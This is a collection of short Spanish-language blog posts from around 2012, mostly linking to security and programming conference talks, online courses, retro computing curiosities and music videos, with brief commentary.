• Stamp Out Hash Corruption, Crack All The Things
  • BH_US_12_Reynods_Stamp_Out_Hash_WP.pdf
  • BH_US_12_Reynods_Stamp_Out_Hash_Slides.pdf
  • BH_US_12_Reynods_Stamp_Out_Hash_Code.zip
• SYNful Deceit, Stateful Subterfuge
  • BH_US_12_Patten_Steele_SYNful_Deceit_Slides.pdf
• The last gasp of the industrial air-gap...
  • BH_US_12_Leverett_Last_Gasp_Slides.pdf
• When security gets in the way: PenTesting mobile apps that use certificate pinning
  • BH_US_12_Diqut_Osborne_Mobile_Certificate_Pinning_Slides.pdf

Fuente

Curso de Python en CodeAcademy

En la genial e indispensable web de CodeAcademy, han empezado un curso de Python (basado en la versión 2.7) del que ya hay cuatro unidades.

En este enlace tienes la web principal del curso.

Ahora es un buen momento para aprender Python usando el genial método de enseñanza que nos ofrece CodeAcademy.

Algunas instrucciones útiles de la línea de …

Entre HowToGeek y algunos comandos de WatchingTheNet hemos recopilado estas instrucciones (y formas de utilizar) de la línea de comandos bastantes útiles (y que realmente no utilizamos frecuentemente):

Enviar la salida de un comando al portapapeles:

[sourcecode languaje=“bash”] ipconfig | clip [/sourcecode]

Abrir la línea de comandos desde una carpeta: Botón derecho sobre la carpeta y desde allí abrir línea de comandos:

Historial de comandos ejecutados:

Street View en modo texto

Para los curiosos, aquí podéis navegar por Google Street View, pero en modo texto. Tiene toda su gracia. Necesitas un navegador moderno que soporte de texturas CORS (Chrome o Firefox 8 o superior lo soportan). La applicación está escrita en WebGL usando @thespite's Google Street View Panorama y three.js.

Fuente

Son de Mar Parte 5, Piano Magic, perfecta para un …

Hasta el minuto 3:22 no empieza realmente la canción, el resto va ambientando la situación.

Película Son de Mar, Bigas Luna

Piano Magic

Vídeos de BSides Las Vegas 2012

Ya tenemos disponibles las charlas que se grabaron de BSides Las Vegas 2012:

1.1.0 KEYNOTE, Jack Daniel The State of Security BSides 1.1.1 Matt Weeks Ambush - Catching Intruders At Any Point 1.1.2 Robert Rowley Max Level Web App Security 1.1.3 Davi Ottenheimer Big Data’s Fourth V Or Why We’ll Never Find the L… 1.1.4 HD Moore Empirical Exploitation 1.1.5 Christopher Lytle Puzzle Competitions and You 1.1.6 Parth Patel Introducing Android Security Evaluation Framework - ASEF 1.1.7 Terry Gold RFID LOL 2.1.0 Michael Fornal How I managed to break into the InfoSec World 2.1.1 David Keene Breaking Microsoft Dynamics Great Plains - an insiders… 2.1.2 William Ghote Lotus Notes Password Hash Redux 2.1.3 Spencer McIntyre How I Learned To Stop Worrying and Love the Smart… 2.1.4 Christopher Campbell Shot With Your Own Gun How Appliances are Use… 2.1.5 Shawn Asmus, Kristov Widak Mirror Mirror – Reflected PDF Attacks… 2.1.6 Georgia Weidman Introducing the Smartphone Penetration Testing Fra… 1.2.0 Raphael Mudge Force Multipliers for Red Team Operations 1.2.1 Andrew Hay & Matt Johansen Applications and Cloud and Hackers, Oh My! 1.2.2 Brendan O’Connor Reticle Dropping an Intelligent F-BOMB 1.2.3 Josh Sokol Dan Cornell The Magic of Symbiotic Security Creating an… 1.2.4 James Lester & Joseph Tartaro Burp Suite Informing the 99% of what… 1 2 5 dc949 Stiltwalker Round 2 1 2 5 dc949 Stiltwalker Round 2 1.2.6 Gillis Jones The Badmin project (Na-na- nanana Na-na-nanana BADMIN) 1.2.7 IPv6 Panel Drinking Game 2.2.0 Phil Young Mainframed - The Forgotten Fortress 2.2.1 Walt Williams Metrics that Suck Even Less 2.2.2 Conrad Constantine The Leverage of Language or How I Realized Info…

Audio de la HOPE Number 9

Como viene siendo habitual, cada dos años se celebra en la ciudad de Nueva York otra de las grandes conferencias sobre seguridad, Hacking On Planet Earth o HOPE. La edición de este año se denominó HOPE Number 9 y fue celebrada los pasados 13 - 15 de julio. Esta conferencia la organiza el grupo 2600. Estos han puesto a disposición del público al audio de todas las charlas:

• 3D Printing: Making Friends in DC Before People Start Freaking Out 16kbps - 64kbps
• Activist DDoS Attacks: When Analogies and Metaphors Fail 16kbps - 64kbps
• Advanced Handcuff Hacking 16kbps - 64kbps
• Advancements in Botnet Attacks and Malware Distribution 16kbps - 64kbps
• An Aesthetic Critique of Fictional Media 16kbps - 64kbps
• Anti-Censorship and Anti-Surveillance Tools - Improving the Landscape 16kbps - 64kbps
• The ARRIStocrats: Cable Modem Lulz 16kbps - 64kbps
• The Autism Spectrum and You 16kbps - 64kbps
• Brain Chemistry: How Psychoactive Chemicals Hack the Central Nervous System 16kbps - 64kbps
• Building Radios to Talk to the Dead 16kbps - 64kbps
• Cell Site Location Data and Nontrespassory Surveillance after U.S. v. Jones 16kbps - 64kbps
• Closing Ceremonies 16kbps - 64kbps
• Combat Robots Then and Now 16kbps - 64kbps
• Community Fabrication: Four Years Later 16kbps - 64kbps
• Computer Forensics: Possibility, Probability, Opinion, and Fact 16kbps - 64kbps
• Countermeasures: Proactive Self Defense Against Ubiquitous Surveillance 16kbps - 64kbps
• Crimeware Tools and Techniques of 2012: Past, Present, and Future 16kbps - 64kbps
• Cryptome Tracks the NYPD Ring of Steel 16kbps - 64kbps
• DARPA Funding for Hackers, Hackerspaces, and Education: A Good Thing? 16kbps - 64kbps
• Dead in a Pool of Blood and Millions of Dollars of Net Art 16kbps - 64kbps
• Declassifying Government and Undermining a Culture of Insecurity 16kbps - 64kbps
• Designing Free Hardware: Scratching Your Own Itch with a Soldering Iron 16kbps - 64kbps
• Destroying Evidence Before It’s Evidence 16kbps - 64kbps
• Digital Security in Health Care Institutions 16kbps - 64kbps
• DKIM: You’re Doing It Wrong 16kbps - 64kbps
• DUI/DWI Testing - A Hacker’s View of the Technology and Process Behind the BAC and Standard Field Sobriety Test 16kbps - 64kbps
• Electric Bodies and Possible Worlds 16kbps - 64kbps
• The Emergence of Hacker as Artist and Artist as Hacker 16kbps - 64kbps
• Exploiting ZigBee and the Internet of Things 16kbps - 64kbps
• Explosive Steganography 16kbps - 64kbps
• Film Screening: Monochrom’s Kiki and Bubu: Rated R Us -
• Geeks and Depression 16kbps - 64kbps
• Hackers and Media Hype or Big Hacks That Never Really Happened 16kbps - 64kbps
• Hacking Mindsets: Conceptual Approaches to Transmission Art, Improvisation, Circuitbending, and Gaming Technology 16kbps - 64kbps
• Hacking the Cosmos via Crowdsourced Particle Astronomy 16kbps - 64kbps
• Hacking the Spaces 16kbps - 64kbps
• Hack the Law 16kbps - 64kbps
• Hacktivism, Tools, and the Arab Spring 16kbps - 64kbps
• HIDIOUS Methods of Keystroke Injection 16kbps - 64kbps
• Historic Hacks in Portable Computing 16kbps - 64kbps
• Hosting irc.2600.net - My Life with the Thrill Kill Cult 16kbps - 64kbps
• How to Communicate with Your Car’s Network 16kbps - 64kbps
• How to Retrofit the First Law of Robotics 16kbps - 64kbps
• ICANN’s New gTLD Program: Implications on Security, Stability, and Governance 16kbps - 64kbps
• I’m Not a Real Friend, But I Play One on the Internet 16kbps - 64kbps
• Information Distribution in the Arab Spring - No Hacks Required 16kbps - 64kbps
• Infrastructure Mediated Sensing of Whole-Home Human Activity 16kbps - 64kbps
• The Internet is for Porn! How High Heels and Fishnet Have Driven Internet Innovation and Information Security 16kbps - 64kbps
• IPv6 Now! What Does This Mean? 16kbps - 64kbps
• Jason Scott’s Strange and Wonderful Digital History Argosy 16kbps - 64kbps
• Keynote Address - William Binney 16kbps - 64kbps
• Keynote Address - The Yes Men 16kbps - 64kbps
• “Kill The Internet” 16kbps - 64kbps
• Legal Processes As Infrastructure Attacks 16kbps - 64kbps
• Lightning Talks 16kbps - 64kbps
• Make Your Laws: Practical Liquid Democracy 16kbps - 64kbps
• Manufacturing Modern Computer Chips 16kbps - 64kbps
• Mastering Master-Keyed Systems 16kbps - 64kbps
• Messing with Nmap Through Smoke and Mirrors 16kbps - 64kbps
• “No Natural Resources Were Hurt Assembling This Sofa” 16kbps - 64kbps
• Nymwars: Fighting for Anonymity and Pseudonymity on the Internet 16kbps - 64kbps
• Occupy the Airwaves: Tools to Empower Community Radio Stations 16kbps - 64kbps
• Old School Phreaking 16kbps - 64kbps
• The Open Secure Telephony Network 16kbps - 64kbps
• The Original WWII Hackers 16kbps - 64kbps
• Patents: How to Get Them and How to Beat Them 16kbps - 64kbps
• Phone Phreak Confidential: The Backstory of the History of Phone Phreaking 16kbps - 64kbps
• Practical Insecurity in Encrypted Radio 16kbps - 64kbps
• Printable Electronics and the Future of Open Hardware 16kbps - 64kbps
• Privacy - A Postmortem
• (or Cell Phones, GPS, Drones, Persistent Dataveillance, Big Data, Smart Cameras and Facial Recognition, The Internet of Things, and Government Data Centers Vacuuming Google and Facebook, Oh My!) 16kbps - 64kbps
• Privacy by Design - a Dream for a Telecommunications Provider That Uses Strong Cryptography to Ensure Your Privacy 16kbps - 64kbps
• Privacy Tricks for Activist Web Developers 16kbps - 64kbps
• Project Byzantium: An Ad-Hoc Wireless Mesh Network for the Zombie Apocalypse 16kbps - 64kbps
• Protecting Your Data from the Cops 16kbps - 64kbps
• Pwn the Drones: A Survey of UAV Hacks and Exploits 16kbps - 64kbps
• Real Advances in Android Malware 16kbps - 64kbps
• Recent Advances in Single Packet Authorization 16kbps - 64kbps
• Re-wired: Hacking the Auditory Experience 16kbps - 64kbps
• SCADA/PLC Exploitation and Disclosure 16kbps - 64kbps
• Sierra Zulu. Or How to Create a Feature Film About the Digital Age - and Why That’s Pretty Hard 16kbps - 64kbps
• The Smartphone Penetration Testing Framework 16kbps - 64kbps
• Social Engineering 16kbps - 64kbps
• Solving More Than #firstworldproblems 16kbps - 64kbps
• Spy Improv: Reality Unfiltered 16kbps - 64kbps
• The State of HTTPS 16kbps - 64kbps
• The State of Open Source Hardware 16kbps - 64kbps
• Taking a Bite Out of Logs with Sagan 16kbps - 64kbps
• Technology to Change Society: What Not to Do 16kbps - 64kbps
• Testing the Two Party Tyranny and Open Source Everything: The Battle for the Soul of the Republic 16kbps - 64kbps
• Twitter Revolution Meets Surveillance State: Now What? 16kbps - 64kbps
• Using a Space Camp Model for Next Generation Security Training 16kbps - 64kbps
• Using Browser-based Tools to Open Up the Web 16kbps - 64kbps
• The Weather is Not Boring! Forecasting, Following, and Photographing Storms 16kbps - 64kbps
• We Will Be Legion: Decentralizing the Web 16kbps - 64kbps
• When the Founder is Gone: Longevity for Open Projects 16kbps - 64kbps
• Why Browser Cryptography is Bad and How We Can Make It Great 16kbps - 64kbps
• Why Names Matter: How Online Identity is Defining the Future of the Internet 16kbps - 64kbps
• Why You Shouldn’t Write Off Higher Education, Young Grasshopper 16kbps - 64kbps
• WikiLeaks, Whistleblowers, and the War on the First Amendment 16kbps - 64kbps
• Your Cell Phone is Covered in Spiders! (An Overview of Mobile Device Security) 16kbps - 64kbps

Si quieres los vídeos, los puedes comprar aquí.

Fuente

Er docu der finde: Nanotecnología y micromáquinas

Parte 1/5

Parte 2/5

Parte 3/5

Parte 4/5

Un día en la vida de un programador (Infografía)

Fuente

Hacker gana acceso a 4 millones de habitaciones de …

Todos sabemos que en estos momentos se está celebrando la Black Hat USA 2012 en las Vegas, una de las conferencias sobre seguridad con más prestigio del mundo.

Un hacker, Cody Brocious, desarrollador de software de Mozilla ha demostrado como usando un dispositivo Arduino puede acceder a las habitaciones de hotel, concretamente a aquellas que usan cierta cerradura electrónica de la marca Onity, de la que según parece hay 4 millones instaladas.

Agiliza tus atajos de teclado

El uso del ratón siempre ha sido muy conveniente y una forma muy amigable de interactuar con el sistema, pero nada más rápido que el teclado.

Cuando desarrollas una aplicación, uno tiene que pensar en como diseñar la pantalla para poner los controles y otros componentes de una forma optimizada. El usuario se te quejará si tiene que hacer dos clicks cuando podría hacer uno o ¿por qué tengo que usar el ratón para pasar de este campo al siguiente? Quiero usar el tabulador y/o el enter. Y tú, programador, te dices a tí mismo: me cago en to lo que se menea. Será c****n este tío, vaya tela la que me está dando…

Cómo ha cambiado internet la industria de la …

Fuente

Comprueba la seguridad de tu terminal Android

A estas alturas no cabe duda que los teléfonos inteligentes o smart phones son verdaderos ordenadores y por lo tanto ya no podemos mirar a nuestro teléfono con un dispositivo para hacer simples llamadas, sino que debemos asegurarnos que nuestro sistema está actualizado y nuestros datos estén bien protegidos.

Al igual que con un ordenador personal no hay protección al 100% o reglas de oro para protegernos, pero si buenas prácticas que debemos seguir para mantenernos en un nivel de seguridad/privacidad más o menos aceptable.

Cuidado con los timos cuando registres la marca de …

Hoy me ha llegado una carta como esta al buzón. OJO!!! es un timo.

Cuando das de alta en la OEPM la marca de tu empresa hay que tener en cuenta que tus datos están expuestos al público para que otras personas puedan realizar alegaciones; normalmente por que se parezca (nombre comercial, logotipo, colores y olores) a su marca, que tiene en propiedad la otra persona. Que tus datos circulen libremente por la red entraña cierto riesgo y, entre otras, estan los timos.

Microhistorias: Carl Sagan contra Apple

Esta historia, no muy conocida, muestra el enfrentamiento entre Apple y nuestro genio favorito, Carl Sagan. Un pequeño apunte, en aquella época, Apple no estaba dirigida por Steve Jobs, el que mandaba era su eterno rival y archienemigo, John Scully.

Todo viene por llamar en clave  al Power Macintosh 7100 "Carl Sagan". ¿Por qué Carl Sagan? pues por su famosa frase "miles de millones" (billions and billions) que utilizó en la genial serie "Cosmos", donde Apple prentendía usarla dando a entender que vendería dicha cantidad. Aunque era un nombre que sólo se usaba internamente, esto llegó a oidos de Carl Sagan y parece que no le gustó demasiado. ¿y por qué no le gusto?, pues parece ser que era porque otros modelos de Apple habían sido bautizados con nombres en clave como "Fusión Fría" (Cold Fusion) o "El hombre de Piltdonw" (Piltdown Man). Estos nombres para Carl Sagan eran pura "Pseudociencia", y no quería ser comparado con ellos. Este fue el único motivo, si no es posible que Carl Sagan no hubiera puesto ningún obstáculo a usar su nombre.

Todas las imágenes, música y sonidos que llevan …

Tanto la Voyager 1 como la Voyager 2 llevan un disco de oro (creado por nuestro querido genio Carl Sagan) con una selección de hora y media de música, saludos en 55 idiomas, sonidos de la Tierra y 115 imágenes (+1 de calibración), pero nunca había visto todas esas imágenes ni escuchado todos los sonidos/músicas.

En este enlace puedes ver esas 115 imágenes que ya están en los límites de nuestro Sistema Solar. Debido a los recortes de presupuesto, es posible que en breve ya nadie escuche a las sondas (hoy día hay 10 personas dedicadas aún a dicha tarea), pero siempre llevarán consigo esos sonidos y esas imágenes por si alguien (o algo) alguna vez logra encontrarlas.

Por otro lado quiero hacer una confesión pública. Inocente de mí, durante mucho tiempo había creido que la canción de los Rolling "(I can´t Get no) Satisfaction" iba en los famosos discos de oro, lo cual no es cierto. Este error fue culpa de la película "Starman", que al principio muestra la sonda Voyager y de fondo dicha canción.

Otra curiosidad, en el tercer vídeo (Mensaje de las Naciones Unidas), hablan varios representantes de la ONU y al final, aparece el mensaje de un representante no humano del Tierra, el sonido de una ballena.

A continuación tienes todos los sonidos y músicas del disco:

El impresionante trailer de Superman: Man of Steel …

Increíble, sin palabras.

Si la película sigue mostrando esta línea (un poco más oscura y seria) de contar la historia, puede ser una gran película.

Man of steel.

Moves, The New Pornographers, para este domingo …

The New Pornographers

Material de la OSCON 2012

La OSCON o Open Source CONference es una conferencia que se celebra anualmente en la que se habla del amplio abanico de productos y tecnologías de código abierto. La conferencia la organiza O’Reilly y fue celebrada entre el 16 y el 20 de julio en Portland, Oregon.

La lista de presentaciones es bastante amplia y las hay para todos los gustos:

Business Cloud Community Data Healthcare Open Hardware Mobile Geek Lifestyle Tools and Techniques Ops Programming Java & JVM Javascript & HTML5 Perl PHP Python UX Keynote Event Sponsored Sessions Education Business Leadership Day OpenStack Day Sponsored Tutorials

La evolución de los juegos de PC [vídeo]

En 2 minutos y medio, podemos ver la evolución de 30 años de juegos en PC.

Perfecto para este sábado por la mañana …

Visto en HTG.

ClubHack Magazine #30

Número de julio de ClubHack ya está disponible:

• 0x00 Tech Gyan - PHP Shells
• 0x01 Tool Gyan - OWASP DirBuster - Bruteforcing the web
• 0x02 Mom's Guide - Private Browsing
• 0x03 Legal Gyan - Section 66E - Punishment for Violation of Privacy
• 0x04 Matriux Vibhag - Webserver Scanning with Nikto
• 0x05 Code Gyan - Basics of Android Secure Coding
• 0x06 Poster - "Update your system before its too late"

Puedes descargar el PDF desde aquí.

Er docu der finde: Misterios de la luna

Parte 1/5

Parte 2/5

Parte 3/5

Parte 4/5

Artículos completos de las revistas Dungeon y …

Si te gusta esto del rol, seguro que conoces las míticas revistas "Dungeon" y "Dragon" de Wizards of the Coast. Era difícil de conseguir en España pero algún número se podía comprar en librerías. Básicamente es una revista que tiene de todo para el jugador y el maestro de juego. Desde artículos con mapas, aventuras, análisis de juegos de rol, historias de fantasía, etc, todo esto se podía encontrar en la revista.  Ahora ya no se publica en papel, sólo está disponible en formato digital en su web.

¿Qué lleva Steve Wozniak en la mochila cuando …

Haz click aquí para verla más grande

Según Gizmodo, en la foto de esta entrada podemos ver todos los bártulos con los que Steve Wozniak viaja. La lista completa la podéis ver en entrada orriginal.

Me pregunto si tendrá sitio para el champú y calsoncillos limpios :p

Llamadas cifradas desde terminales Android

La empresa WhisperSytems del famoso Moxie Marlinspike ha publicado una aplicación para terminales Android llamada RedPhone cuya funcioanlidad es la de cifrar una llamada entre 2 usuarios de la misma. Una vez instalada la aplicación te pide registrar tu número y cuando llames o te llamen (de forma regular) desde otro número que esté registrado, ésta es capaz de identificarlo y preguntarte si quieres cambiar a modo cifrado. Por supuesto puedes llamar directamente en modo cifrado.

Vídeos de la Bsides Cleveland 2012

Aquí tenéis los vídeos de otra conferencia sobre seguridad: Bsides Cleveleand 2012

• Secret Pentesting Technigues Shhh...Dave KennedyDave "ReL1K" Kennedy
• Focusing on the Fool: Building an Awareness & Training Program - Branden Miller & Bill Gardner
• <? $People ?> Process Technology - Jeff @ghostnomad Kirsch
• Dingleberry Pi Building a Blackthrow: More inexpensive hardware to leave behind on someone else's network - Adrian "Irongeek" Crenshaw
• Testing Enterprise DLP Systems // Advanced data exfiltration techniques - Albert School
• Automating Incident Response - Mick Douglas
• Business Ramifications of the Internet's Unclean Conflicts - Rockie Brockway
• Netflow for Incident Response - Jamison Budacki
• Winter is Coming: Cloud Security in Dark Ages - Bill Mathews
• Pass the Hash like a Rockstar - Martin "PureHate" Bos
• Naked Boulder Rolling - Applying Risk Management to Web Application Security - J Wolfgang Goerlich
• Anti-Forensics Filler - Irongeek
• Outside the Echo Chamber - James Siegel (aka WolfFlight)
• Pentesting ASP.NET - Bill Sempf

Fuente

Nintendo vs Sega, evolución del logo (Infografía)

Fuente

Vídeos de las sesiones sobre Android de la Google …

La Google IO 2012, conferencia que reune a los mejores profesionales sobre productos de Google, se celebró este año el pasado mes de junio en San Francisco, California.

Las sesiones sobre Android probablemente sean las que más llamen la atención de los asistentes a dicha conferencia. Si eres de los que te interesan estas charlas y no pudiste atender a estas, ahora puedes ver los vídeos de las mismas desde este canal o haciendo click sobre la que te interese en la siguiente lista:

Historia de HTML5 (Infografía)

Fuente

Domingo por la mañana, I Break Horses, Winter …

I Break Horses, tremenda canción Winter Beats.

Chuck O'Rear y su foto más famosa, seguro que te …

Pues sí, Chuck O’Rear fotógráfo del National Geographic, tomó esta foto (en Sonoma County, EEUU) y Microsoft se la compró (no sabemos por cuanto) para usarla como fondo de pantalla para Windows XP.

Posiblemente, una de las fotos más vista del mundo.

Visto en Reddit.

Microhistoria: esquema completo de la placa base …

(Click para ampliar, esquema Macintosh 512Kb, visto en DigiBarn)

Todo, absolutamente todo el diseño del ordenador completo Macintosh 512Kb está escrito (por cierto, a mano) en esta única hoja de papel (incluyendo todos los microprocesadores con sus correspondientes patillas detalladas).

Daniel Kottke (empleado número 12 de Apple, fue quién montó y probó el primer Apple I) es el co-autor de este esquema (fechado en Febrero de 1983) el cual sirvió de base para los prototipos de Macintosh 64Kb y luego el Macintosh 128Kb (lanzados en Enero de 1984).

Er docu der finde: Campo lunar

Parte 1/5

Parte 2/5

Parte 3/5

Parte 4/5

El primer supermercado "QR" abre en España

Un supermercado QR es aquel en el que los productos son sustituidos por imágenes referenciadas a código QR (~400) con los cuales, a través de tu smartphone, poder hacer un sumatorio de productos y realizar la compra diaria, que después envían a tu domicilio. Tan solo existen unos cuantos supermercados así en el mundo: Corea del Sur, Sydney (Australia) y Filadelfia (EE.UU.) y ahora en la estación de Sarrià en Barcelona. Se prevé un total de entre 1.000 y 1.500 clientes diarios gracias a la situación estratégica de la tienda. La cadena quiere dar continuidad al proyecto del supermercado virtual en otras estaciones de tren o en distintas ubicaciones.

42 Maneras de crear contenido atractivo para …

Fuente

Scripts en PowerShell para recuperar, crear y …

En 4SysOps nos muestran un par de scripts que se han currado para recuperar entradas ("keys") del registro de Windows en un ordenador remoto y otro también para modificarlos o crear nuevas entradas.

Todo está explicado paso a paso.

En este enlace tienes el script para recuperar entradas del registro.

En este otro el script para modificar y crear entradas del registro.

Por si acaso algún día nos hace falta … ;)

This is our planet

Time lapse espectacular desde la ISS.

Visto en GeeksAreSexy

Instalando aircrack-ng en Ubuntu 12.04

Ayer por la noche me llevé otro pequeño disgusto con mi nueva Ubuntu 12.04. Cuando iba a echar mano de aircrack para hacer alguna pruebecilla, me percaté de que no tenía instalas dichas herramientas, así que me fui a la líne de comandos:

apt-get install aircrack-ng

Y para mi sorpresa, me encuentro con:

Package aircrack-ng is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
However the following packages replace it:
  iw:i386 iw

Después de buscar un poco para asegurarme de que no era el sueño el que me estaba jugando una mala pasada, parece que el paquete aircrack-ng ya no está en los repositorios de Ubuntu. Por lo tanto mis opciones son añadir algún repositorio de terceros, cosa que no me hace mucha gracia, bajarnos los binarios e instalarlos o bajarnos los fuentes, compilar e instalar, opción por la que me decanté.

Máquina de Turing hecha con LEGO Mindstorms NXT

Con motivo del centenario de Alan Turing, el cual no necesita presentación, son muchos los eventos y homenajes que se han dedicado a la figura del gran genio. Uno de los detalles que más me ha gustado de los que he visto es esta réplica de la Máquina de Turing hecha con Legos Mindstorms NXT.

Podéis ver los detalles la misma en la enlace de arriba y además también está disponible el software de la misma en github.

Introducción al ensamblador del 6502

Los que sigáis el blog desde hace algún tiempo ya sabréis que nos gusta la programación retro, es decir, programación de tecnología antigua y obsoleta que ya no se usa, pero que en su día fueron joyas.

El motivo de esta entrada es la de hablaros sobre este tutorial de introducción al lenguaje ensamblador del microprocesador MOS 6502, chip que incluía sistemas como el Atari 2600, Commodore 64 o la consola NES entre otros.

Curso audiovisual sobre Machine Learning

En la web del Instituto de Tecnología de California podemos encontrar un serie de vídeos orientados a la enseñanza de Machine Learning, titulado Learning from Data. Técnica ampliamente usada en el campo de la inteligencia artificial, dónde básicamente nuestra aplicación estudia el entorno en el que se encuentra para aprender más sobre el mismo y así poder tomar decisiones.

El índice de los vídeos es el siguiente:

• Bayesian Learning
  • Validity of the Bayesian approach (prior, posterior, unknown versus probabilistic)
• Bias-Variance Tradeoff
  • Basic derivation (overfit and underfit, approximation-generalization tradeoff)
  • Example (sinusoidal target function)
  • Noisy case (Bias-variance-noise decomposition)
• Bin Model
  • Hoeffding Inequality (law of large numbers, sample, PAC)
  • Relation to learning (from bin to hypothesis, training data)
  • Multiple bins (finite hypothesis set, learning: search for green sample)
  • Union Bound (uniform inequality, M factor)
• Data Snooping
  • Definition and analysis (data contamination, model selection)
• Ensemble Learning
  • Overview of aggregation methods (boosting, blending, before and after the fact)
• Error Measures
  • User-specified error function (pointwise error, CIA, supermarket)
• Gradient Descent
  • Basic method (Batch GD) (first-order optimization)
  • Discussion (initialization, termination, local minima, second-order methods)
  • Stochastic Gradient Descent (the algorithm, SGD in action)
  • Initialization - Neural Networks (random weights, perfect symmetry)
• Learning Curves
  • Definition and illustration (complex models versus simple models)
  • Linear Regression example (learning curves for noisy linear target)
• Learning Diagram
  • Components of learning (target function, hypothesis set, learning algorithm)
  • Input probability distribution (unknown distribution, bin, Hoeffding)
  • Error measure (role in learning algorithm)
  • Noisy targets (target distribution)
  • Where the VC analysis fits (affected blocks in learning diagram)
• Learning Paradigms
  • Types of learning (supervised, reinforcement, unsupervised, clustering)
  • Other paradigms (review, active learning, online learning)
• Linear Classification
  • The Perceptron (linearly separable data, PLA)
  • Pocket algorithm (non-separable data, comparison with PLA)
• Linear Regression
  • The algorithm (real-valued function, mean-squared error, pseudo-inverse)
  • Generalization behavior (learning curves for linear regression)
• Logistic Regression
  • The model (soft threshold, sigmoid, probability estimation)
  • Cross entropy error (maximum likelihood)
  • The algorithm (gradient descent)
• Netflix Competition
  • Movie rating (singular value decomposition, essence of machine learning)
  • Applying SGD (stochastic gradient descent, SVD factors)
• Neural Networks
  • Biological inspiration (limits of inspiration)
  • Multilayer perceptrons (the model and its power and limitations)
  • Neural Network model (feedforward layers, soft threshold)
  • Backpropagation algorithm (SGD, delta rule)
  • Hidden layers (interpretation)
  • Regularization (weight decay, weight elimination, early stopping)
• Nonlinear Transformation
  • Basic method (linearity in the parameters, Z space)
  • Illustration (non-separable data, quadratic transform)
  • Generalization behavior (VC dimension of a nonlinear transform)
• Occam's Razor
  • Definition and analysis (definition of complexity, why simpler is better)
• Overfitting
  • The phenomenon (fitting the noise)
  • A detailed experiment (Legendre polynomials, types of noise)
  • Deterministic noise (target complexity, stochastic noise)
• Radial Basis Functions
  • Basic RBF model (exact interpolation, nearest neighbor)
  • K Centers (Lloyd's algorithm, unsupervised learning, pseudo-inverse)
  • RBF network (neural networks, local versus global, EM algorithm)
  • Relation to other techniques (SVM kernel, regularization)
• Regularization
  • Introduction (putting the brakes, function approximation)
  • Formal derivation (Legendre polynomials, soft-order constraint, augmented error)
  • Weight decay (Tikhonov, smoothness, neural networks)
  • Augmented error (proxy for out-of-sample error, choosing a regularizer)
  • Regularization parameter (deterministic noise, stochastic noise)
• Sampling Bias
  • Definition and analysis (Truman versus Dewey, matching the distributions)
• Support Vector Machines
  • SVM basic model (hard margin, constrained optimization)
  • The solution (KKT conditions, Lagrange, dual problem, quadratic programming)
  • Soft margin (non-separable data, slack variables)
  • Nonlinear transform (Z space, support vector pre-images)
  • Kernel methods (generalized inner product, Mercer's condition, RBF kernel)
• Validation
  • Introduction (validation versus regularization, optimistic bias)
  • Model selection (data contamination, validation set versus test set)
  • Cross Validation (leave-one-out, 10-fold cross validation)
• VC Dimension
  • Growth function (dichotomies, Hoeffding Inequality)
  • Examples (growth function for simple hypothesis sets)
  • Break points (polynomial growth functions, puzzle)
  • Bounding the growth function (mathematical induction, polynomial bound)
  • Definition of VC Dimension (shattering, distribution-free, Vapnik-Chervonenkis)
  • VC Dimension of Perceptrons (number of parameters, lower and upper bounds)
  • Interpreting the VC Dimension (degrees of freedom, Number of examples)

Además cada vídeo está acompañado de las diapositivas que el profesor usa, así como los deberes asignados en el mismo.

Estos me los iré mirando poco a poco porque el contenido es bastante extenso.

Afina tu SQLi-Fu

Nada mejor y más seguro de probar y aprender nuestras tácticas y habilidades de intrusión en sistemas diseñados para ello y así no meternos en problemas.

En este enlace podemos encontrar 3 retos de inyección de SQL. Dichos retos tienen dos variantes: A y B, siendo esta última algo más complicada que la primera.

Pues nada, si no tienes nada que hacer, ya te puedes distraer un rato :)

Fuente

Feeder, Buck Rogers, para un domingo de verano por …

 

Igual que un/una adolescente en vacaciones de verano, así te sentirás cuando escuches esta canción ;)

Feeder

Diapositivas del curso de SamuraiWTF

SamuraiWTF (Web Testing Framework) es una distribución Linux en forma de LiveCD con las mejores herramientas de código abierto orientadas a poner a prueba la seguridad de aplicaciones web. A diferencia de Backtrack que es de propósito general en el campo de la seguridad, ésta está enfocada a las aplicaciones web.

En Sourceforge podemos encontrar las diapositivas del curso impartido sobre este LiveCD en distintas conferencias de seguridad.

• SamuraiWTF Course Slides v10 - Private Course.pdf
• SamuraiWTF Course Slides v9.1 - AppSecAsiaPac2012.pdf
• SamuraiWTF Course Slides v9.0 - AppSecDC2012.pdf
• Samurai-WTF Course Slides v8.5 - Qatar2012.pdf
• Samurai-WTF Course Slides v8.2 - AbuDhabi2011.pdf

Material de la C++Now! 2012

La C++Now! es una conferencia para entusiastas del lenguaje de programación C++ que se celebra en Auspen, Colorado. Este año se celebró durante el pasado mes de mayo.

Ya están disponible para descarga tanto los vídeos como las presentaciones.

Aquí tenéis la lista de los vídeos:

• Jon Kalb: Exception-Safe Coding in C++ (Part II)
• Jon Kalb: Exception-Safe Coding in C++ (Part I)
• Michael Caisse: Introduction to Modern C++ Techniques (Part II)
• Michael Caisse: Introduction to Modern C++ Techniques (Part I)
• Beman Dawes: Boosting Libraries for TR2
• Bryce Adelstein-Lelbach, Matthew Anderson, Hartmut Kaiser: HPX: A C++11 parallel runtime system
• Karsten Ahnert, Mario Mulansk: Metaprogramming Applied to Numerical Problems
• Sean Parent: Value Semantics and Concepts-based Polymorphism
• Ale Contenti: C++ Component Extensions for WinRT
• Lucanus Simonson, Andrii Sydorchuk: Robust and efficient multi precision algorithms design
• Beman Dawes, Jeff Garland, Alisdair Meredith: Other C++11 Gems
• Andrew Lumsdaine, Larisse Voufo: ConceptClang: An Implementation Model for C++ Concepts
• Tony Van Eerd: How I Code and Why
• Patrick Mihelich: Linear programming made easy with Boost Proto
• Nat Goodspeed: Using Boost.Coroutine to untangle a state machine
• Gordon Woodhull: Compile-time 'reparsing'
• Alisdair Meredith: Lessons Learned Developing the C++11 Standard Library
• Tony Van Eerd: Don't Try This at Work -- Low Level Threading with C++11
• Stephan T. Lavavej: Regex in C++11 and Boost
• Jeroen Habraken: Type to string conversions, and vice-versa
• Travis Gockel: How we switched to C++11 at SolidFire and how it worked out
• Chandler Carruth: Refactoring C++ with Clang
• Bartosz Milewski, Eric Niebler : Compile-Time/Run-Time Functional Programming in C++
• Scott Schurr: C++11: New Tools for Class and Library Authors
• Jean-Marc Gratien: Implementing a Domain Specific Embedded Language with Boost Proto
